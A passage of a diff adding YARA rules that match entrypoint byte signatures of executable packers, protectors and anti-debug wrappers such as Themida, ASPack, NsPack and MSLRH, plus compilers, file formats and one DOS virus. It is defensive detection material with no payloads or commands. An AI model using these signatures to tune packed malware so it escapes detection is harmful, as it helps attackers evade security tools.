+		$1 = {55 8B EC B8 ?? ?? ?? ?? BB ?? ?? ?? ?? 50 E8 00 00 00 00 58 2D A8 1A 00 00 B9 6D 1A 00 00 BA 21 1B 00 00 BE 00 10 00 00 BF C0 53 00 00 BD F0 1A 00 00 03 E8 81 75 00 ?? ?? ?? ?? 81 75 04 ?? ?? ?? ?? 81 75 08 ?? ?? ?? ?? 81 75 0C ?? ?? ?? ?? 81 75 10}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ORiEN_211_DEMO_
+{
+	meta:
+		description = "ORiEN 2.11 (DEMO)"
+	strings:
+		$0 = {E9 5D 01 00 00 CE D1 CE CE 0D 0A 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 2D 0D 0A 2D 20 4F 52 69 45 4E 20 65 78 65 63 75 74 61 62 6C 65 20 66 69 6C 65 73 20 70 72 6F}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_v032a_fake_PE_Lock_NT_204__emadicius_
+{
+	meta:
+		description = "MSLRH v0.32a (fake PE Lock NT 2.04) -> emadicius"
+	strings:
+		$0 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+		$1 = {EB 03 CD 20 C7 1E EB 03 CD 20 EA 9C EB 02 EB 01 EB 01 EB 60 EB 03 CD 20 EB EB 01 EB E8 03 00 00 00 E9 EB 04 58 40 50 C3 EB 03 CD 20 EB EB 03 CD 20 03 61 9D 83 C4 04 EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _VProtect_DLL_v1x__ASL_
+{
+	meta:
+		description = "VProtect DLL v.1.x - ASL"
+	strings:
+		$0 = {3B C0 74 1C EB 00 DB 2D ?? ?? ?? 10 FF FF FF FF FF FF FF FF 3D 40 FF 56 50 72 6F 74 65 63 74 00}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPack_V13__LiuXingPing_
+{
+	meta:
+		description = "NsPack V1.3 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+		$1 = {9C 60 E8 00 00 00 00 5D B8 B3 85 40 00 2D AC 85 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Morphine_33__Holy_Father__Ratter29A_
+{
+	meta:
+		description = "Morphine 3.3 -> Holy_Father & Ratter/29A"
+	strings:
+		$0 = {00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 4B 65 52 6E 45 6C 33 32 2E 64 4C 6C 00 00 47 65 74 50 72 6F 63 41 64 64 72}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v110p1_
+{
+	meta:
+		description = "HACKSTOP v1.10p1"
+	strings:
+		$0 = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+		$1 = {B4 30 CD 21 86 E0 3D 00 03 73 ?? B4 2F CD 21 B4 2A CD 21 B4 2C CD 21 B0 FF B4 4C CD 21 50 B8 ?? ?? 58 EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V035__Dwing__20080321_
+{
+	meta:
+		description = "Upack V0.35 -> Dwing * 20080321"
+	strings:
+		$0 = {58 8D 54 83 58 FF 16 72 5C 2C 03 73 02 B0 00 3C 07 72 02 2C 03 50 0F B6 6F FF ?? ?? ?? ?? ?? ?? 8D 6C 6D 00 8D AC AB 08 10 00 00 B0 01 E3 2A 8B D7 2B 53 08 8A 2A 33 D2 84 E9 0F 95 C6 52 FE C6 8A D0 8D 54 95 00 FF 16 5A 9F 12 C0 D0 E9 74 0E 9E 1A F2 74 E3 B4 00 33 C9 B5 01 FF 56 AC 33 C9 E9 03 01 00 00 B1 30 8B 6B 08 03 D1 FF 16 73 51 03 D1 FF 16 72 1B 03 D1 FF 16 72 2B 3C 07 B0 09 72 02 B0 0B 50 8B C7 2B 43 08 8A 00 E9 D5 00 00 00 83 C2 60 FF 16 87 6B 0C 73 0C 03 D1 FF 16 87 6B 10 73 03 87 6B 14 3C 07 B0 08 72 02 B0 0B 50 55 8D 93 78 07 00 00 FF 56 B0 5D 91 E9 99 00 00 00 3C 07 B0 07 72 02 B0 0A 50 87 6B 0C 87 6B 10 89 6B 14 8D 93 C0 0B 00 00 FF 56 B0 6A 03 59 50 48 3B C1 72 02 8B C1 C1 E0 06 B1 40 8D AC 83 78 03 00 00 FF 56 A8 3C 04 8B E8 72 5C 33 ED D1 E8 13 ED 48 45 91 45 D3 E5 80 F9 05 8D 94 AB 78 01 00 00 76 2B 80 E9 04 33 C0 8B 53 FC D1 2B 8B 12 0F CA 2B 53 04 03 C0 3B 13 72 06 8B 13 40 01 53 04 FF 56 88 E2 E3 B1 04 D3 E0 03 E8 8D 53 18 33 C0 55 40 51 D3 E0 8B EA 91 FF 56 A8}
+	condition:
+		$0 at entrypoint
+}
+rule _Naked_Packer_V10__BigBoote_
+{
+	meta:
+		description = "Naked Packer V1.0 -> BigBoote"
+	strings:
+		$0 = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C3}
+		$1 = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00}
+		$2 = {60 FC 0F B6 05 ?? ?? ?? ?? 85 C0 75 31 B8 ?? ?? ?? ?? 2B 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? A1 ?? ?? ?? ?? 03 05 ?? ?? ?? ?? A3 ?? ?? ?? ?? E8 9A 00 00 00 A3 ?? ?? ?? ?? C6 05 ?? ?? ?? ?? 01 83 3D ?? ?? ?? ?? 00 75 07 61 FF 25 ?? ?? ?? ?? 61 FF 74 24 04 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C3 FF 74 24 04 6A 00 FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _MSLRH_v32a__emadicius_
+{
+	meta:
+		description = "MSLRH v32a -> emadicius"
+	strings:
+		$0 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08}
+		$1 = {EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 2B 04 24 74 04 75 02 EB 02 EB 01 81 83 C4 04 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 3D FF 0F 00 00 EB 01 68 EB 02 CD 20 EB 01 E8 76 1B EB 01 68 EB 02 CD 20 EB 01 E8 CC 66 B8 FE 00 74 04 75 02 EB 02 EB 01 81 66 E7 64 E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 0F 31 50 0F 31}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_10801__Solodovnikov_Alexey_
+{
+	meta:
+		description = "ASPack 1.08.01 -> Solodovnikov Alexey"
+	strings:
+		$0 = {90 75 ?? 90 E9}
+	condition:
+		$0 at entrypoint
+}
+rule _FishPE_V10X__hellfish_
+{
+	meta:
+		description = "FishPE V1.0X -> hellfish"
+	strings:
+		$0 = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+		$1 = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00 ?? ?? ?? ?? 00 00 0C 00 00 00 B0 00 00 38 0A 00 00 ?? ?? ?? ?? 00 00 00 00 00 00 C0 00 00 40 39 00 00 ?? ?? ?? ?? 00 00 08 00 00 00 00 01 00 C8 06 00 00}
+		$2 = {60 E8 ?? ?? ?? ?? C3 90 09 00 00 00 2C 00 00 00 ?? ?? ?? ?? C4 03 00 00 BC A0 00 00 00 40 01 00 ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 99 00 00 00 00 8A 00 00 00 10 00 00 ?? ?? 00 00 ?? ?? ?? ?? 00 00 02 00 00 00 A0 00 00 18 01 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _KByS_V028__shoooo_
+{
+	meta:
+		description = "KByS V0.28 -> shoooo"
+	strings:
+		$0 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+		$1 = {68 ?? ?? ?? ?? E8 01 00 00 00 C3 C3 60 8B 74 24 24 8B 7C 24 28 FC B2 80 33 DB A4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _themida_1005__http58wwworeanscom_
+{
+	meta:
+		description = "themida 1.0.0.5 -> http&#58;//www.oreans.com"
+	strings:
+		$0 = {B8 00 00 00 00 60 0B C0 74 58 E8 00 00 00 00 58 05 43 00 00 00 80 38 E9 75 03}
+	condition:
+		$0 at entrypoint
+}
+rule _HiJaak_Image_Draw_Graphics_format_
+{
+	meta:
+		description = "HiJaak Image Draw Graphics format"
+	strings:
+		$0 = {47 53 44 31 02 00 11 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vprotect_V188__CoooLie_
+{
+	meta:
+		description = "Vprotect V1.8.8 -> CoooLie"
+	strings:
+		$0 = {FF E0 60 A5 8B 5F 10 83 6F 10 04 83 EB 04 58 89 03 8B 07 8B 5F 0C 8B 4F 04 8B 57 08 8B 6F 14 8B 77 18 FF 77 24 9D 8B 67 10 C7 47 50 00 00 00 00 8B 7F 1C}
+	condition:
+		$0 at entrypoint
+}
+rule _AVI_movie_file_
+{
+	meta:
+		description = "AVI movie file"
+	strings:
+		$0 = {52 49 46 46 ?? ?? ?? ?? 41 56 49 ?? 4C 49 53 54}
+	condition:
+		$0 at entrypoint
+}
+rule _EXE_Stealth_274_
+{
+	meta:
+		description = "EXE Stealth 2.74"
+	strings:
+		$0 = {EB 00 EB 17 53 68 61 72 65 77 61 72 65 20 2D 20 45 78 65 53 74 65 61 6C 74 68 00 60 90 E8 00 00 00 00 5D 81 ED C4 27 40 00 B9 15 00 00 00 83 C1 04 83 C1 01 EB 05 EB FE 83 C7 56 EB 00 83 E9 02 81 C1 78 43 27 65 EB 00 81 C1 10 25 94 00 81 E9 63 85 00 00 B9}
+	condition:
+		$0 at entrypoint
+}
+rule _Rec_028_
+{
+	meta:
+		description = "Rec 0.28"
+	strings:
+		$0 = {06 1E 52 B8 02 30 1E CD 21 86 E0 3D FE 02 73 02 CD 20 0E 1F B4 09 E8 03 00 24 24 EA 5A CD 21 EB 02 D8 88 1F 5A B4 30 CD 21 3C 02 73 02 CD 20 BF 01 02 8B 03 90 2B F7 90 BF 06 07 B9 01 02 FB 1E B8 40 00 8E D8 A1 6C 00 3B 06 6C 00 74 FA 1F 53}
+	condition:
+		$0 at entrypoint
+}
+rule _FSG_110_Eng__dulekxt__MASM32__TASM32_
+{
+	meta:
+		description = "FSG 1.10 (Eng) -> dulek/xt -> (MASM32 / TASM32)"
+	strings:
+		$0 = {1B DB E8 02 00 00 00 1A 0D 5B 68 80 ?? ?? 00 E8 01 00 00 00 EA 5A 58 EB 02 CD 20 68 F4 00 00 00 EB 02 CD 20 5E 0F B6 D0 80 CA 5C 8B 38 EB 01 35 EB 02 DC 97 81 EF F7 65 17 43 E8 02 00 00 00 97 CB 5B 81 C7 B2 8B A1 0C 8B D1 83 EF 17 EB 02 0C 65 83 EF 43 13}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v140b2__v140b4_
+{
+	meta:
+		description = "PECompact v1.40b2 - v1.40b4"
+	strings:
+		$0 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 60 12}
+		$1 = {EB 06 68 ?? ?? ?? ?? C3 9C 60 E8 02 ?? ?? ?? 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 0F A0 40 ?? 87 DD 8B 85 A6 A0 40 ?? 01 85 03 A0 40 ?? 66 C7 85 ?? A0 40 ?? 90 90 01 85 9E A0 40 ?? BB 86 11}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Borland_Cpp_for_Win32_1999_
+{
+	meta:
+		description = "Borland C++ for Win32 1999"
+	strings:
+		$0 = {EB 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 E8 00 00 00 00 5D 81 ED 18 00 00 00 8B C5 55 60 9C 2B 85 E9 06 00 00 89 85 E1 06 00 00 FF 74 24 2C E8 BB 01 00 00 0F 82 92 05 00 00 E8 F1 03 00 00 49 0F 88 86 05 00 00 68 6C D9 B2 96 33 C0 50 E8 24 03 00 00 89 85 D9 41 00 00 68 EC 49 7B 79 33 C0 50 E8 11 03 00 00 89 85 D1 41 00 00 E8 67 05 00 00 E9 56 05 00 00 51 52 53 33 C9 49 8B D1 33 C0 33 DB AC 32 C1 8A CD 8A EA 8A D6 B6 08 66 D1 EB 66 D1 D8 73 09 66 35 20 83 66 81 F3 B8 ED FE CE 75 EB 33 C8 33 D3 4F 75 D5 F7 D2 F7 D1 5B 8B C2 C1 C0 10 66 8B C1 5A 59 C3 68 03 02 00 00 E8 80 04 00 00 0F 82 A8 02 00 00 96 8B 44 24 04 0F C8 8B D0 25 0F 0F 0F 0F 33 D0 C1 C0 08 0B C2 8B D0 25 33 33 33 33 33 D0 C1 C0 04 0B C2 8B D0 25 55 55 55 55 33 D0 C1 C0 02 0B C2}
+	condition:
+		$0 at entrypoint
+}
+rule _EncryptPE_V12003318V12003518__WFS_
+{
+	meta:
+		description = "EncryptPE V1.2003.3.18-V1.2003.5.18 -> WFS"
+	strings:
+		$0 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+		$1 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+		$2 = {60 9C 64 FF 35 00 00 00 00 E8 79 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 00 00 47 65 74 53 79 73 74 65 6D 44 69 72 65 63 74 6F 72 79 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 41 00 00 00 43 72 65 61 74 65 46 69 6C 65 4D 61 70 70 69 6E 67 41 00 00 00 4D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 55 6E 6D 61 70 56 69 65 77 4F 66 46 69 6C 65 00 00 00 43 6C 6F 73 65 48 61 6E 64 6C 65 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 00 45 78 69 74 50 72 6F 63 65 73 73 00 00 00 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ANDpakk2_apk2_V018__Dmitry_AND_Andreev____20080731_
+{
+	meta:
+		description = "ANDpakk2 (apk2) V0.18 -> Dmitry AND Andreev   * 20080731"
+	strings:
+		$0 = {FC BE ?? ?? ?? ?? BF ?? ?? ?? ?? 57 83 CD FF 33 C9 F9 EB 05 A4 02 DB 75 05 8A 1E 46 12 DB 72 F4 33 C0 40 02 DB 75 05 8A 1E 46 12 DB 13 C0 02 DB 75 05 8A 1E 46 12 DB 72 0E 48 02 DB 75 05 8A 1E 46 12 DB 13 C0 EB DC 83 E8 03 72 0F C1 E0 08 AC 83 F0 FF 74 4D D1 F8 8B E8 EB 09 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 13 C9 75 1A 41 02 DB 75 05 8A 1E 46 12 DB 13 C9 02 DB 75 05 8A 1E 46 12 DB 73 EA 83 C1 02 81 FD ?? ?? ?? ?? 83 D1 01 56 8D 34 2F F3 A4 5E E9 73 FF FF FF C3}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Kuku448_
+{
+	meta:
+		description = "Vx: Kuku.448"
+	strings:
+		$0 = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+		$1 = {AE 75 ED E2 F8 89 3E ?? ?? BA ?? ?? 0E 07 BF ?? ?? EB}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Secure_21b_
+{
+	meta:
+		description = "Secure 2.1b"
+	strings:
+		$0 = {8C C8 05 00 00 50 B8 90 01 50 CB 00}
+	condition:
+		$0 at entrypoint
+}
+rule _BDC_HelpSystem_Help_file_
+{
+	meta:
+		description = "BDC HelpSystem Help file"
+	strings:
+		$0 = {42 44 43 20 48 65 6C 70 53 79 73 74 65 6D}
+	condition:
+		$0 at entrypoint
+}
+rule _NsPacK_V31__LiuXingPing_
+{
+	meta:
+		description = "NsPacK V3.1 -> LiuXingPing"
+	strings:
+		$0 = {9C 60 E8 00 00 00 00 5D 83 ED 07 8D 9D ?? ?? ?? ?? 8A 03 3C 00 74}
+	condition:
+		$0 at entrypoint
+}
+rule _MSLRH_032a_fake_MSVCpp_DLL_Method_4__emadicius_
+{
+	meta:
+		description = "MSLRH 0.32a (fake MSVC++ DLL Method 4) -> emadicius"
+	strings:
+		$0 = {55 8B EC 56 57 BF 01 00 00 00 8B 75 0C 85 F6 5F 5E 5D EB 05 E8 EB 04 40 00 EB FA E8 0A 00 00 00 E8 EB 0C 00 00 E8 F6 FF FF FF E8 F2 FF FF FF 83 C4 08 74 04 75 02 EB 02 EB 01 81 50 E8 02 00 00 00 29 5A 58 6B C0 03 E8 02 00 00 00 29 5A 83 C4 04 58 74 04 75}
+	condition:
+		$0 at entrypoint
+}
+rule _GHF_Protector_pack_only__GPcH_
+{
+	meta:
+		description = "GHF Protector (pack only) --> GPcH"
+	strings:
+		$0 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 00 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6 31 C9 E8 64 00 00 00 73 1C 31 C0 E8 5B 00 00 00 73 23 B3 02 41 B0 10 E8 4F 00 00 00 10 C0 73 F7 75 3F AA EB D4 E8 4D 00 00 00 29 D9 75 10 E8 42 00 00 00 EB 28 AC D1 E8 74 4D 11 C9 EB 1C 91 48 C1 E0 08 AC E8 2C 00 00 00 3D 00 7D 00 00 73 0A 80 FC 05 73 06 83 F8 7F 77 02 41 41 95 89 E8 B3 01 56 89 FE 29 C6 F3 A4 5E EB 8E 00 D2 75 05 8A 16 46 10 D2 C3 31 C9 41 E8 EE FF FF FF 11 C9 E8 E7 FF FF FF 72 F2 C3 61 B9 FC FF FF FF 8B 1C 08 89 99 ?? ?? ?? ?? E2 F5 90 90 BA ?? ?? ?? ?? BE ?? ?? ?? ?? 01 D6 8B 46 0C 85 C0 0F 84 87 00 00 00 01 D0 89 C3 50 B8 ?? ?? ?? ?? FF 10 85 C0 75 08 53 B8 ?? ?? ?? ?? FF 10 89 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? 00 00 00 00 BA ?? ?? ?? ?? 8B 06 85 C0 75 03 8B 46 10 01 D0 03 05 ?? ?? ?? ?? 8B 18 8B 7E 10 01 D7 03 3D ?? ?? ?? ?? 85 DB 74 2B F7 C3 00 00 00 80 75 04 01 D3 43 43 81 E3 FF FF FF 0F 53 FF 35 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 89 07 83 05 ?? ?? ?? ?? 04 EB AE 83 C6 14 BA ?? ?? ?? ?? E9 6E FF FF FF 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 8B 15 ?? ?? ?? ?? 52 FF D0 61 BA ?? ?? ?? ?? FF E2 90 C3}
+		$1 = {60 68 ?? ?? ?? ?? B8 ?? ?? ?? ?? FF 10 68 ?? ?? ?? ?? 50 B8 ?? ?? ?? ?? FF 10 68 00 A0 00 00 6A 40 FF D0 89 05 ?? ?? ?? ?? 89 C7 BE ?? ?? ?? ?? 60 FC B2 80 31 DB A4 B3 02 E8 6D 00 00 00 73 F6}
